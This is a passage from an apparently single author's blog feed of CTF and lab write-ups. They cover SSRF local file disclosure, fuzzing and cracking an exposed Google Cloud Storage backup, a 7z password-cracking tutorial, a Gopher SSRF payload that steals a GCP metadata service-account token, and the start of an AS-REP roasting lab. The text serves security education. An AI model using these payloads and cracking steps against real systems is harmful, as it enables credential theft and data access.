&lt;li&gt;&lt;a href="https://portswigger.net/web-security/jwt" rel="noopener noreferrer"&gt;PortSwigger – JWT Attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jwt.io" rel="noopener noreferrer"&gt;jwt.io Debugger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hashcat.net/wiki/" rel="noopener noreferrer"&gt;Hashcat Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>jerseyctf6</category>
      <category>pwnsome</category>
      <category>ctf</category>
    </item>
    <item>
      <title>Local File Inclusion - Forever CTF (web)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Wed, 04 Mar 2026 14:58:34 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/local-file-inclusion-forever-ctf-web-25ge</link>
      <guid>https://forem.com/davidonlinearchive/local-file-inclusion-forever-ctf-web-25ge</guid>
      <description>&lt;h3&gt;
  
  
  Exploit SSRF for Local File Disclosure
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8dy2f7gf1n9ciewvpat9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8dy2f7gf1n9ciewvpat9.png" alt="Challenge description" width="600" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this challenge, we analyze a web application that fetches resources based on user-supplied input. This behavior often points to a &lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt; vulnerability.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Identifying the Vulnerability
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb6czz8n9w0ip1md21a28.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb6czz8n9w0ip1md21a28.png" alt="Landing page" width="800" height="327"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We test the application by attempting to access a local system file using the &lt;code&gt;file://&lt;/code&gt; URI scheme. By submitting the payload &lt;code&gt;file:///etc/passwd&lt;/code&gt;, we can check if the server will read and return its own internal configuration files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flw11b16rkbnml35bvp0d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flw11b16rkbnml35bvp0d.png" alt="/etc/Passwd file" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The application successfully returns the contents of the &lt;code&gt;/etc/passwd&lt;/code&gt; file. This confirms the application is &lt;strong&gt;SSRF positive&lt;/strong&gt;, specifically allowing for &lt;strong&gt;Local File Disclosure (LFD)&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Retrieving the Flag
&lt;/h3&gt;

&lt;p&gt;The lab description indicates that the flag is located at &lt;code&gt;/flag.txt&lt;/code&gt;. Using the confirmed vulnerability, we modify our payload to target that specific file path:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt; &lt;code&gt;file:///flag.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcijjp2c763dlpilzpijg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcijjp2c763dlpilzpijg.png" alt=" " width="800" height="299"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The server processes the request and reveals the flag:&lt;br&gt;
&lt;code&gt;utflag{g0t_y0ur_r3s0urc3!}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>web</category>
      <category>ctf</category>
    </item>
    <item>
      <title>Reveal Hidden Files in Google Storage - Pwnedlabs (Google Cloud pentesting)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Wed, 04 Mar 2026 04:15:25 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/reveal-hidden-files-in-google-storage-pwnedlabs-cloud-pentesting-37pc</link>
      <guid>https://forem.com/davidonlinearchive/reveal-hidden-files-in-google-storage-pwnedlabs-cloud-pentesting-37pc</guid>
      <description>&lt;h3&gt;
  
  
  Identifying and Cracking Exposed Cloud Storage Backups
&lt;/h3&gt;

&lt;p&gt;In this challenge, we begin by inspecting the web page elements to uncover an internal Google Cloud Storage URL: &lt;code&gt;https://storage.googleapis.com/it-storage-bucket&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcrcuzoqpgrfcmo0mbyu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcrcuzoqpgrfcmo0mbyu.png" alt="inspect elements" width="800" height="266"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Initial Enumeration
&lt;/h3&gt;

&lt;p&gt;Attempting to list the bucket contents directly via the &lt;code&gt;gcloud&lt;/code&gt; CLI or browser often results in a "Permission Denied" (403) error if listing is disabled, even if individual files are publicly accessible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvxode58k4arnelf4vqjk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvxode58k4arnelf4vqjk.png" alt="Permission-denied" width="800" height="161"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To bypass this, we perform directory fuzzing to find specific hidden files. Using the &lt;code&gt;ffuf&lt;/code&gt; tool and a targeted backup wordlist, we can identify valid paths.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;ffuf -u https://storage.googleapis.com/it-storage-bucket/FUZZ -w /usr/share/wordlists/backup_files_only.txt -mc 200&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fahjebruredtvt4pvkeca.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fahjebruredtvt4pvkeca.png" alt="File discovery" width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The fuzzer successfully identifies a match: &lt;code&gt;backup.7z&lt;/code&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Data Exfiltration
&lt;/h3&gt;

&lt;p&gt;Once the file path is confirmed, we exfiltrate the archive to our local machine using the &lt;code&gt;gcloud storage&lt;/code&gt; utility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;gcloud storage cp gs://it-storage-bucket/backup.7z .&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj7k1hkjpz4hpjnwttikq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj7k1hkjpz4hpjnwttikq.png" alt="Data exfil" width="800" height="139"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Cracking the Archive
&lt;/h3&gt;

&lt;p&gt;Since the &lt;code&gt;.7z&lt;/code&gt; file is password-protected, we use &lt;strong&gt;John the Ripper&lt;/strong&gt; to perform a brute-force attack. First, we must convert the archive into a crackable hash format.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step A: Extract the hash&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;7z2john backup.7z &amp;gt; hash.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step B: Run the cracker&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftcdnnw420xdpus4rgkpm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftcdnnw420xdpus4rgkpm.png" alt="Password cracked" width="800" height="196"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The password is found: &lt;strong&gt;balance&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Retrieving the Flag
&lt;/h3&gt;

&lt;p&gt;With the password in hand, we extract the archive contents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;7z x backup.7z&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After entering the password &lt;code&gt;balance&lt;/code&gt;, the archive unlocks to reveal the final flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepbh0xez5f65g1xdqhyc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepbh0xez5f65g1xdqhyc.png" alt="flag" width="800" height="488"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>googlecloud</category>
      <category>gcp</category>
      <category>pentesting</category>
      <category>infrastructure</category>
    </item>
    <item>
      <title>How to crack a 7z file on kali linux</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Wed, 04 Mar 2026 00:15:18 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/how-to-crack-a-7z-zip-file-on-kali-linux-5lh</link>
      <guid>https://forem.com/davidonlinearchive/how-to-crack-a-7z-zip-file-on-kali-linux-5lh</guid>
      <description>&lt;h3&gt;
  
  
  Cracking Password-Protected 7z Archives with John the Ripper
&lt;/h3&gt;

&lt;p&gt;Before starting, ensure your system is updated and the necessary utilities are installed:&lt;br&gt;
&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt install john john-data p7zip-full -y&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 1: Extract the Archive Hash
&lt;/h3&gt;

&lt;p&gt;John the Ripper cannot crack a &lt;code&gt;.7z&lt;/code&gt; file directly. You must first extract the password hash into a format that John understands. We use the &lt;code&gt;7z2john&lt;/code&gt; utility for this.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gebsf0wm1p1ydbs6gi0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gebsf0wm1p1ydbs6gi0.png" alt="Extract hash" width="800" height="51"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;7z2john secrets.7z &amp;gt; secret_hash.txt&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 2: Crack the Hash with a Wordlist
&lt;/h3&gt;

&lt;p&gt;Once you have the hash file, use a wordlist (like the standard &lt;code&gt;rockyou.txt&lt;/code&gt;) to attempt to crack the password.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2nunkh670yo53cxm6jj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2nunkh670yo53cxm6jj.png" alt="crack hash" width="800" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt secret_hash.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If successful, John will display the cleartext password in the terminal. You can view it again later using the &lt;code&gt;--show&lt;/code&gt; flag:&lt;br&gt;
&lt;code&gt;john --show secret_hash.txt&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 3: Extract the Protected Files
&lt;/h3&gt;

&lt;p&gt;Now that you have the password, use the &lt;code&gt;7z&lt;/code&gt; utility to extract the contents of the archive.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsazpe6ta1fa9vpg7ctzd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsazpe6ta1fa9vpg7ctzd.png" alt="documents revealed" width="800" height="440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;7z x secrets.7z&lt;/code&gt; and password: &lt;code&gt;butterfly&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When prompted, enter the password you cracked in the previous step. Your files will be extracted to the current directory.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>tutorial</category>
      <category>offsec</category>
    </item>
    <item>
      <title>PwnedLabs - Exploit SSRF with Gopher for GCP Initial Access (Google Cloud Pentesting)</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Mon, 02 Mar 2026 01:33:15 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/pwnedlabs-exploit-ssrf-with-gopher-for-gcp-initial-access-cloud-pentesting-1h6a</link>
      <guid>https://forem.com/davidonlinearchive/pwnedlabs-exploit-ssrf-with-gopher-for-gcp-initial-access-cloud-pentesting-1h6a</guid>
      <description>&lt;h3&gt;
  
  
  Exploit SSRF with Gopher for GCP Initial Access
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe7xrgka5t52pv8u9luui.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe7xrgka5t52pv8u9luui.png" alt="Lab description" width="800" height="468"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target IP Address:&lt;/strong&gt; &lt;code&gt;35.226.245.121&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  ENUMERATION
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnwlgu1zht7oihr73gmj7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnwlgu1zht7oihr73gmj7.png" alt="Portscan" width="800" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the initial port scan, ports &lt;strong&gt;22 (SSH)&lt;/strong&gt; and &lt;strong&gt;80 (HTTP)&lt;/strong&gt; are open, while ports &lt;strong&gt;1433, 3389, and 5432&lt;/strong&gt; are closed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6sxi8sd2w6vowbz0c5lh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6sxi8sd2w6vowbz0c5lh.png" alt="Landing page" width="800" height="423"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw9t3zpro4u875m2q2xtw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw9t3zpro4u875m2q2xtw.png" alt="profile page" width="800" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After viewing the landing page and moving onto the shop page, inspecting the elements reveals the site uses a &lt;a href="https://docs.cloud.google.com/storage/docs/buckets" rel="noopener noreferrer"&gt;Google Cloud Storage bucket&lt;/a&gt;. On the &lt;code&gt;profile.php&lt;/code&gt; page, we can test for a &lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt; vulnerability.&lt;/p&gt;




&lt;h3&gt;
  
  
  EXPLOITATION
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy3s5cppi901f4t7b7ulq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy3s5cppi901f4t7b7ulq.png" alt="ssrf positive" width="800" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the &lt;code&gt;file:///etc/passwd&lt;/code&gt; payload, we are able to view the local &lt;code&gt;/etc/passwd&lt;/code&gt; file, proving that the application is vulnerable to SSRF. &lt;/p&gt;

&lt;p&gt;To pivot into the cloud environment, we will gather information about the VM metadata. First, we query for the associated service account using the following Gopher payload:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwo82co1h61yazmdakn46.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwo82co1h61yazmdakn46.png" alt="service account" width="800" height="244"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The query reveals the service account name is:&lt;br&gt;&lt;br&gt;
&lt;code&gt;bucketviewer@gr-proj-1.iam.gserviceaccount.com&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Next, we use another Gopher payload to retrieve the service account's access token:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5dzp56ckep2noovm02i4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5dzp56ckep2noovm02i4.png" alt="access token" width="800" height="250"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To use the credentials, we export the token as a variable:&lt;br&gt;&lt;br&gt;
&lt;code&gt;export ACCESS_TOKEN=&amp;lt;token&amp;gt;&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  DATA EXFILTRATION
&lt;/h3&gt;

&lt;p&gt;Now that we have the credentials, we can query the bucket using the Google Storage API:&lt;br&gt;&lt;br&gt;
&lt;code&gt;curl "https://www.googleapis.com/storage/v1/b/gigantic-retail/o" -H "Authorization: Bearer $ACCESS_TOKEN"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj4ft1scyhkcj99rhnp2f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj4ft1scyhkcj99rhnp2f.png" alt="authorized query" width="800" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The result reveals a path to a flag. Finally, we can download the flag file via &lt;code&gt;curl&lt;/code&gt; using the &lt;code&gt;-o&lt;/code&gt; flag:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fod8y4xg6n6qnflh3xaav.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fod8y4xg6n6qnflh3xaav.png" alt="Flag" width="800" height="96"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>googlecloud</category>
      <category>pentesting</category>
      <category>gcp</category>
      <category>infrastructure</category>
    </item>
    <item>
      <title>Attacking Active Directory: AS-REP Roasting</title>
      <dc:creator>David Disu</dc:creator>
      <pubDate>Sun, 22 Feb 2026 23:49:31 +0000</pubDate>
      <link>https://forem.com/davidonlinearchive/attacking-active-directory-as-rep-roasting-5848</link>
      <guid>https://forem.com/davidonlinearchive/attacking-active-directory-as-rep-roasting-5848</guid>
      <description>&lt;h3&gt;
  
  
  AS-REP Roasting
&lt;/h3&gt;

&lt;p&gt;This attack is caused by a domain user not having &lt;a href="https://en.hackndo.com/kerberos/" rel="noopener noreferrer"&gt;Kerberos&lt;/a&gt; pre-authentication enabled.&lt;/p&gt;

&lt;p&gt;For this Demo i'll be using my &lt;a href="https://github.com/davidonlinearchive/Active-Directory-Lab" rel="noopener noreferrer"&gt;Active Directory lab project (&lt;em&gt;DOA lab&lt;/em&gt;)&lt;/a&gt; check it out my GitHub.&lt;/p&gt;

&lt;h3&gt;
  
  
  LAB DIAGRAM AND SPECS
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwjqxrjldde9fggjo9sjk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwjqxrjldde9fggjo9sjk.png" alt="Lab Diagram" width="800" height="625"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Specifications
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;VM Name&lt;/th&gt;
&lt;th&gt;OS&lt;/th&gt;
&lt;th&gt;IP Address&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;Specs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DOA-DC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows Server 2019&lt;/td&gt;
&lt;td&gt;10.0.2.7 (static)&lt;/td&gt;
&lt;td&gt;Domain Controller&lt;/td&gt;
&lt;td&gt;4GB RAM, 50GB HDD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DOA-PC01&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows 10 Pro&lt;/td&gt;
&lt;td&gt;10.0.2.101 (DHCP)&lt;/td&gt;
&lt;td&gt;Domain-joined client&lt;/td&gt;
&lt;td&gt;2GB RAM, 40GB HDD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DOA-PC02&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Windows 10 Pro&lt;/td&gt;
&lt;td&gt;10.0.2.100 (DHCP)&lt;/td&gt;
&lt;td&gt;Domain-joined client&lt;/td&gt;
